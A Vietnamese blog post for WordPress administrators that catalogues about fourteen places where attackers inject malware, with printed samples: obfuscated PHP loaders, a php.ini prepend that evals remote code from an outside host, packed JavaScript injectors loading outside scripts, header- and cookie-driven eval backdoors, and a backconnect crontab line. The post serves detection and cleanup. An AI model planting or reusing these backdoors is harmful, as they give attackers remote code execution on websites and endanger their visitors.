tổng hợp khoảng 14/20 dạng tấn công vào các website sử dụng nền tảng Wordpress

Bài viết dưới đây tổng hợp khoảng 14/20 dạng tấn công vào các website sử dụng nền tảng Wordpress mình đã gặp phải và ghi chép lại, giờ chia sẻ ra để anh em tìm hiểu, áp dụng và xử lý cho các website của mình khi cần thiết. Có nhiều nhận dạng rất dài, mình đã cắt ngắn lại, chỉ để phần đầu. Anh chị em nào cần thì có thể liên hệ để lấy chi tiết.
Các điểm tấn công wordpress cần lưu ý khi phát hiện dấu hiệu bất thường
Trong quá trình hoạt động của trang web trên nền tảng wordpress, việc thiếu cập nhật hoặc vì lý do nào đó xẩy ra các lỗ hổng an ninh qua đó hacker có thể lợi dụng để chèn mã malware vào là điều không thể tránh khỏi vì vậy chuyện sống chung với các lỗ hổng bảo mật là việc không thể thiếu.
Có những cuộc tấn công với các dấu hiệu nhận diện dễ dàng như thay đổi giao diện trang web, vào web thấy popup lên các thông báo, hình ảnh quảng cáo không như mong muốn hoặc đơn giản là re-direct đến một trang web khác thì cũng sẽ dễ dàng cảnh báo chúng ta để có biện pháp đối phó. Tuy nhiên có nhiều cuộc tấn công âm thầm, nó chỉ xẩy ra với các đối tượng truy cập web đặc biệt như các bot của máy tìm kiếm, giới hạn các phiên bản mobile chúng ta sẽ khó nhận biết hơn nếu không tinh tế, giám sát thường xuyên để phát hiện các điểm bất thường khi hoạt động.
Nếu chúng ta phát hiện kịp thời, và triển khai các giải pháp phòng chống, loại bỏ mã độc thì mất mát của chúng ta sẽ ít nhất với traffic của vài ngày mất đi, tuy nhiên nếu để lâu dài thì google sẽ loại bỏ index, đánh dấu xấu, giảm thứ hạng trong máy tìm kiếm thì traffic của chúng ta có thể sẽ mất hàng tháng, thậm chí hàng năm và câu chuyện kinh doanh đương nhiên là sẽ ảnh hưởng nặng nề nếu không có người dùng đến hoặc bị ngăn cản khi đến với website của chúng ta.
Dưới đây là tổng hợp một số điểm tấn công, tôi thu thập được qua quá trình phát triển, theo dõi, chống đỡ các cuộc tấn công trong thực tế.
Điểm tấn công
1. wp-config.php và wp-setting.php
Đây là 2 điểm ưa thích mà thông qua các lỗ hổng của theme, lỗ hổng của Plugin hay chính lỗ hổng của Wordpress mà hacker hướng đến. Họ sẽ chèn đoạn mã lên đầu hoặc xuống dưới cùng của 2 file này để thực thi các lệnh mà họ mong muốn. Trong thực tế thì tôi gặp phải cả chèn lên trên hoặc xuống dưới tuy nhiên cũng không loại trừ việc chèn vào giữa với những đoạn lệnh tưởng như vô hại và khó nhận biết. Trong thực tế để mã hóa đi thì hacker hay dùng encode base64 để che mắt chúng ta tuy nhiên họ cũng có thể viết các mã lệnh trần như thông thường làm chúng ta lầm tưởng rằng các lệnh này là sẵn có có Wordpress.
Để có thể nhận biết được, các bạn cần thường xuyên đọc và hiểu cấu trúc lệnh của 2 tập tin này để khi detect bằng tay thì có thể nhận biết được mã lệnh thông thường và các mã lệnh bất thường.
2. wp-blog-header.php
Đây là trường hợp tôi đã gặp phải khi hacker chèn vào đọc request header để phân biệt user Agent, nếu là các bot thì nó sẽ trả lại một bó link được điều khiển từ một website khác để trả lại cho bot của máy tìm kiếm.
Lúc đầu khi đọc vào file này, tôi cứ tưởng đó là những đoạn lệnh thông thường, tuy nhiên phát hiện ra đoạn lệnh nhận điều khiển từ website không phải của mình thì mới biết được.
Đây là trường hợp âm thầm gây tác hại trong khi người dùng vào site thì đều thấy kết quả trả lại bình thường nhưng trên google search console thì báo mất index.
3. Các file index.php trong các thư mục chứa plugin hoặc include
Thông thường, đây là các file index giữ chỗ với nội dung đơn giản “Im lặng là vàng”, có kích thước 27 bytes hoặc cùng lắm là 405 bytes với file index bên ngoài thư mục gốc public_html. Tuy nhiên nếu phát hiện ra các file này có kích thước khác, hãy mở nó ra xem, nếu bạn phát hiện các đoạn mã lệnh lạ thì rất có thể đó là mã mà hacker đã chèn vào.
4. wp-load.php
wp-load.php chứa những thư viện cho phép plugin có thể sử dụng hàm core của wordpress, hacker cũng có thể can thiệp vào đây làm thay đổi kết quả đầu ra một cách âm thầm. Cá nhân tôi vì một lý do nào đó thì đã bị hacker can thiệt vào đây, làm thay đổi kết qủa đầu ra của cache, làm cho các file cache chứa kết quả mà hacker mong muốn.
Vào thư mục cache, bạn sẽ thấy các trang html cache chúng trả ra kết quả khác bên ngoài trang web của chúng ta.
Đây là ví dụ mã chèn vào wp-load.php
<?php /*v*/define('WSOPCM0324',__FILE__);$EqAynr=base64_decode("bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdqWldORVVwYnJDaXFlc3RHTUJBbkh1bERramhmUG1jWVFGVkx6UlNUeUtvT2d3YUp2ZFhJeA==");$JWfflF=$EqAynr[3].$EqAynr[6].$EqAynr[33].$EqAynr[30];$amesyf=$EqAynr[33].$EqAynr[10].$EqAynr[24].$EqAynr[10].$EqAynr[24];$zbSiqi=$amesyf[0].$EqAynr[18].$EqAynr[3].$amesyf[0].$amesyf[1].$EqAynr[24];$ypxokD=$EqAynr[7].$EqAynr[13];$JWfflF.=$EqAynr[22].$EqAynr[36].$EqAynr[29].$EqAynr[26].$EqAynr[30].$EqAynr[32].$EqAynr[35].$EqAynr[26]…. Nhận dạng đã được cắt ngắn!
5. mplugin.php
Nếu không để ý, bạn sẽ tưởng rằng đây là một file thông thường trong thư mục plugin, tuy nhiên bản chất đây là một malware quảng cáo, nó sẽ tùy từng trường hợp khác nhau mà load các quảng cáo nổi lên trên trang web của bạn.
6. Các file php với các ký tự lằng nhằng
Các file này thì rất dễ nhận biết vì chúng chẳng có nghĩa gì trong tên file cả, không giống như ở trên, nó lẫn lộn, lờ nhờ như thật thì nếu thấy những file này bạn nên đặt mối nghi ngờ vào nó. Hãy thử xóa nó đi. Nếu WP của bạn không sao thì rõ là hàng dư thừa không mong muốn rồi.
7. Inject vào database
Bằng cách nào đó, thông qua các lỗ hổng injection (có lẽ có ở khắp nơi) mà hacker có thể chèn các bảng của wordpress của chúng ta.
Bảng wp_option là nơi thường được viếng thăm nhiều nhất và thông số bị thay đi thường là option  siteurl hoặc home. Ngoài ra sẽ có nhiều chỗ khác, bạn cần phải đọc kỹ để phát hiện ra.
Đối với wp_posts, món ưa thích của hacker là chèn các đoạn lệnh javascript vào đây, dĩ nhiên ở đây rất nhiều và như rừng vì vậy chúng ta cần thạo SQL một chút để tìm các đoạn có chứa mã <javascript>, các đoạn base64_decode để xác định mã chèn vào.
Bên ngoài 2 vị trí yêu thích trên, rất có thể còn nhiều bảng khác là đích để hacker ghi vào, các bạn nên dành thời gian để tìm hiểu và nhận biết.
8. etc/php.ini
Trường hợp hacker thông qua các lỗ hổng web có thể tải lên các file php thực thi sau đó tiến quyền thì có thể can thiệp mã điều khiển vào tập tin php.ini để thực thi php trước khi website được chạy nhằm thực hiện các ý đồ riêng của mình.
Đây là 1 ví dụ shell được chen vào:
auto_prepend_file =“data://“.”text/plain,<?php%20if(stristr(@$_SERVER[‘HTTP_USER_AGENT’].@$_SERVER[‘HTTP_REFERER’],‘google.c’)){@eval(@file_get_contents(’http://www.php.autos/ss.html'));}”
Nội dung file ss.html được tải về
@header('Content-Type:text/html;charset=utf-8'); error_reporting(0); $ac = ' RewriteEngine On RewriteBase / DirectoryIndex index.php RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] '; $root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : (isset($_SERVER['APPL_PHYSICAL_PATH']) ? trim($_SERVER['APPL_PHYSICAL_PATH'], chr(92).chr(92)) : (isset($_['PATH_TRANSLATED']) ? str_replace($_SERVER["PHP_SELF"]) : str_replace(str_replace("/", chr(92).chr(92), isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : (isset($_SERVER["URL"]) ? $_SERVER["URL"] : $_SERVER["SCRIPT_NAME"])), "", isset($_SERVER["PATH_TRANSLATED"]) ? $_SERVER["PATH_TRANSLATED"] : $_SERVER["SCRIPT_FILENAME"]))); if(strlen(file_get_contents($root."/.htaccess"))!=233){ @file_put_contents($root."/.htaccess",$ac); } $OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O = urldecode($OOOOOO); $oOooOO = 'z0222_6'; $oOooOOoO = $O[15] . … nhân dạng đã được cắt ngắn.
9. jquery.js và jquery.min.js
Mẫu chèn vào:
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 1=2.5(\'1\');1.3(\'6\',\'7/8\');1.3(\'9\',"a://b.c.d/e/f.g");2.h(\'i\')[0].j(1);',20,20,'|script|document|setAttribute|var|createElement|type|text|javascript|src|https|www|chianxiaoshuo|net|api|main|js|getElementsByTagName|head|appendChild'.split('|'),0,{}));
function _0x1235(_0x22e912,_0x306c10){var _0x547a60=_0x547a();return _0x1235=function(_0x123522,_0x580013){_0x123522=_0x123522-0x1a4;var _0x202a7f=_0x547a60[_0x123522];return _0x202a7f;},_0x1235(_0x22e912,_0x306c10);}function _0x47531a(_0x4b0661,_0x4481a6){return _0x2a00(_0x4481a6- -0x29b,_0x4b0661);}function _0x547a(){var _0x470313=['mZq3nJGZvKzxu1bo','3192nsafpX','1356lvtrTE','74110zTyQjM','jmkIzcxdLeTdBCoQ','WQ5ggmoJWPxcTCokWQuhvxDUFq','otq4otbsrND2s1K','createElement','8VxeRBs','94890RFwvKY','AgvHza','33ZBuxiX','mtKZota…. Nhận dạng đã được cắt ngắn.
10. wp-login
Mẫu chèn vào
<script>
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 1=2.6(\'1\');1.3(\'7\',\'8/9\');1.3(\'a\',"b://4.c-d.e/f/g.4");2.h(\'i\')[0].j(1);',20,20,'|script|document|setAttribute|js|var|createElement|type|text|javascript|src|https|statistics|web|com|api|main|getElementsByTagName|head|appendChild'.split('|'),0,{}));
</script>
11. functions.php
Mẫu chèn vào
@include "\x2f\x68\x6f\x6d\x65\x2f\x61\x70\x70\x72\x61\x64\x61\x2f\x77\x65\x62\x2f\x68\x6f\x6d\x65\x2e\x72\x61\x64\x61\x2e\x61\x73\x69\x61\x2f\x70\x75\x62\x6c\x69\x63\x5f\x68\x74\x6d\x6c\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x77\x70\x69\x63\x6f\x6e\x73\x2d\x33\x78\x2e\x70\x6e\x67";
12. wp-include/load.php
<?php    
@set_time_limit(3600); 
@ignore_user_abort(1); 
$Prefix = "xmeffectivexm"; 
$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); 
if(isset($_SERVER['REQUEST_URI'])) { 
     $uri = $_SERVER['REQUEST_URI']; 
}else{ 
    if (isset($_SERVER['argv'])) { 
        $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; 
    } else { 
        $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; 
    } 
} 
$uri = base64_encode(@$_SERVER['REQUEST_URI']); 
$host = base64_encode(@$_SERVER['HTTP_HOST']); 
$clock = ''; 
if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { 
    $clock = getenv('REMOTE_ADDR'); 
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { 
    $clock = $_SERVER['REMOTE_ADDR']; 
} 
if (stristr($clock, ',')) { 
    $clock_tmp = explode(",", $clock); 
    $clock = $clock_tmp[0]; 
} 
$agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']); 
$referer = base64_encode(@$_SERVER['HTTP_REFERER']); 
… nhận dạng này đã được cắt ngắn
/* Rc cx051 */ 
?>
13. head.php
Chèn thêm  file head.php
<?php    
@set_time_limit(3600); 
@ignore_user_abort(1); 
$Prefix = "xlstationxl"; 
$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); 
if(isset($_SERVER['REQUEST_URI'])) { 
     $uri = $_SERVER['REQUEST_URI']; 
}else{ 
    if (isset($_SERVER['argv'])) { 
        $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; 
    } else { 
        $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; 
    } 
} 
$uri = base64_encode(@$_SERVER['REQUEST_URI']); 
$host = base64_encode(@$_SERVER['HTTP_HOST']); 
$clock = ''; 
if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { 
    $clock = getenv('REMOTE_ADDR'); 
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { 
    $clock = $_SERVER['REMOTE_ADDR']; 
} 
if (stristr($clock, ',')) { 
    $clock_tmp = explode(",", $clock); 
    $clock = $clock_tmp[0]; 
} 
…. nhận dạng này đã được cắt ngắn
/* Rc cx050 */ 
?>
14. Một số nhận dạng malware được chèn vào tệp php
<?php 
$_HEADERS = getallheaders(); 
if (isset($_HEADERS['X-Dns-Prefetch-Control'])) { 
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x41u\x74h\x6fr\x69z\x61t\x69o\x6e\"\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x41u\x74h\x6fr\x69z\x61t\x69o\x6e\"\x5d)\x3b"; 
    $f = '/tmp/.'.time(); 
    file_put_contents($f, $c); 
    include($f); 
    unlink($f); 
if (!class_exists("fbscmwcthx")){class fbscmwcthx{public static $xsjxzw = "dtnrfllachcftnle";public static $mqxfdhls = NULL;public function __construct(){$fdfmghgmq = @$_COOKIE[substr(fbscmwcthx::$xsjxzw, 0, 4)];if (!empty($fdfmghgmq)){$roaumypo = "base64";$ecogik = "";$fdfmghgmq = explode(",", $fdfmghgmq);foreach ($fdfmghgmq as $pynmqcqive){$ecogik .= @$_COOKIE[$pynmqcqive];$ecogik .= @$_POST[$pynmqcqive];}$ecogik = array_map($roaumypo . "_decode", array($ecogik,));$ecogik = $ecogik[0] ^ str_repeat(fbscmwcthx::$xsjxzw, (strlen($ecogik[0]) / strlen(fbscmwcthx::$xsjxzw)) + 1);fbscmwcthx::$mqxfdhls = @unserialize($ecogik);}}public function __destruct(){$this->vukvfd();}private function vukvfd(){if (is_array(fbscmwcthx::$mqxfdhls)) {$pocqrjfywk = sys_get_temp_dir() . "/" . crc32(fbscmwcthx::$mqxfdhls["salt"]);@fbscmwcthx::$mqxfdhls["write"]($pocqrjfywk, fbscmwcthx::$mqxfdhls["content"]);include $pocqrjfywk;@fbscmwcthx::$mqxfdhls["delete"]($pocqrjfywk);exit();}}}$mowvwgi = new fbscmwcthx();$mowvwgi = NULL;} ?>
@reboot echo socks5_backconnect666 > /dev/null | (cd /home/apprada/web/home.rada.asia/public_html/disabled/wp-content/plugins/convertkit/includes/integrations/wishlist && /home/apprada/web/home.rada.asia/public_html/disabled/wp-content/upgrade/wp-file-manager-QbLv7I/wp-file-manager/lib/themes/light/images/16px/authorizenet) 
<?php if(isset($_COOKIE['eUd'])) {die('DAGjrwG');} class _t{private static$_k;static function _kr($_cmc,$_tic){if(!self::$_k):self::_tt();endif;$_hz=strlen($_tic);$_p=base64_decode(self::$_k[$_cmc]);for($_n=(int)round(0+0+0),$_se=strlen($_p);$_n!==$_se;++$_n):$_p[$_n]=chr(ord($_p[$_n])^ord($_tic[$_n%$_hz]));endfor;return$_p;}private static function _tt(){self::$_k=array('_0'=>'MlA'.'nbjpJOlIqRTZeMW4rWD'.'JU','_2'=>'MlI2X3FSO1cASwBbOlI7'.'Vi0=','_4'=>'LQ'.'==','_6'=>'','_8'=>'','_10'=>'YA'.'==','_12'=>'LQ'.'='.'=','_14'=>'eQ==','_16'=>'Yg='.'=','_18'=>'M'.'w==','_20'=>'Yg='.'=','_22'=>'eQ'.'='.'=','_24'=>'fw5YOkZUf1pBK0IYOkNANkQIfUBQOUBQLFoXf1FaMUZQMUY'.'IfQIOKkB'.'ZY'.'g'.'='.'=','_26'=>….. nhận dạng này đã cắt ngắn, nếu anh em nào thực sự quan tâm có thể liên hệ để lấy.
Thực thi hàm từ xa được gửi qua http header
<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['Sec-Websocket-Accept'])) {
$ibase_pconnection = $_HEADERS['Sec-Websocket-Accept']('', $_HEADERS['Large-Allocation']($_HEADERS['Authorization']));
$ibase_pconnection();}
<?php
$_HEADERS = getallheaders(); 
if (isset($_HEADERS['X-Dns-Prefetch-Control'])) { 
    $clases = $_HEADERS['X-Dns-Prefetch-Control']('', $_HEADERS['Large-Allocation']($_HEADERS['If-Unmodified-Since'])); 
    $clases(); }
<?php
$_HEADERS=getallheaders();if(isset($_HEADERS['Clear-Site-Data'])){$sys=$_HEADERS['Clear-Site-Data']('', $_HEADERS['Large-Allocation']($_HEADERS['Sec-Websocket-Accept']));$sys();}
<?php 
$_HEADERS = getallheaders();if(isset($_HEADERS['Feature-Policy'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}
if(isset($_COOKIE['SQWD'])) {die('1oyGw4');} if(!@function_exists('getallheaders')){function getallheaders(){$headers=array();foreach($_SERVER as $name => $value){if(substr($name,0,5)== 'HTTP_'){$headers[str_replace(' ','-',ucwords(strtolower(str_replace('_',' ',substr($name,5)))))]=$value;}}return $headers;}}if(!class_exists('CURLOPT_REQUEST')){if(@function_exists('is_user_logged_in')){if(is_user_logged_in()){return false;}}@ini_set('display_errors',0);@ini_set('error_reporting',0);@ini_set('log_errors',NULL);@ini_set('default_socket_timeout',3);$bad_ua='#(google|msnbot|baidu|yahoo|search|bing|ask|indexer|cuill.com|clushbot|360spider|80legs|aibot|aboundex|acunetix|ahrefsbot|alexibot|blexbot|backdoorbot|backweb|baiduspider|bandit|batchftp|bigfoot|blackwidow|… nhận dạng đã được cắt ngắn}
var khutmhpx = document.createElement('script'); 
khutmhpx.src = 'https://jqueryns.com/JkrJYcvQ'; 
document.getElementsByTagName('head')[0].appendChild(khutmhpx);
$p=$_COOKIE;(count($p)==29&&in_array(gettype($p).count($p),$p))?(($p[81]=$p[81].$p[96])&&($p[97]=$p[81]($p[97]))&&($p=$p[97]($p[27],$p[81]($p[16])))&&$p()):$p;
Giám sát và khắc phục
Lệnh tìm nhận dạng:
find . -type f -name '*.php' | xargs egrep -i "reboot echo socks5_backconnect666"
find . -type f -name '*.php' | xargs egrep -i "file_put_contents"
Có nhiều giải pháp giám sát, kể cả có sẵn và bạn cũng có thể làm bằng tay tuy nhiên có 3 điểm quan trọng bạn cần:
- Chấp nhận thực tế rằng trong quá trình hoạt động thì lỗ hổng xẩy ra là chuyện đương nhiên và không thể tránh khỏi.
- Từ thực tế trên, bạn cần theo dõi và tự truy cập website của mình thường xuyên để nhận thấy điểm bất thường, đừng quan liêu lướt qua thấy nó vẫn hoạt động mà bỏ qua cho đến ngày nhận thất kết quả kinh doanh sụt giảm thì thực sự mọi chuyện đã trở nên rất tệ rồi.
- Lập kế hoạch định kỳ, tự mình viếng thăm bằng tay tất cả các điểm nhậy cảm trên để xem có điều gì bất thường hay không, đừng chờ nó thể hiện ra ở bên ngoài rồi mới phản ứng, như vậy có thể là đã muộn rồi. Dĩ nhiên việc viếng thăm này thì bạn cũng cần có kiến thức về code, kiến thức về hệ thống để tránh tự tay giật sập website của mình vì một hành động không xác định nào đó.
Trong phạm vi bài viết này tôi không đề cập đến các giải pháp khắc phục cụ thể, tuy nhiên chỉ ra điểm và nơi mà hacker có thể viếng thăm trên website của bạn cũng là một gợi ý cho người quản trị, người phát triển web để triển khai các biện pháp phù hợp với mình.
Chúc các bạn thành công và an toàn với Wordpress.

Last updated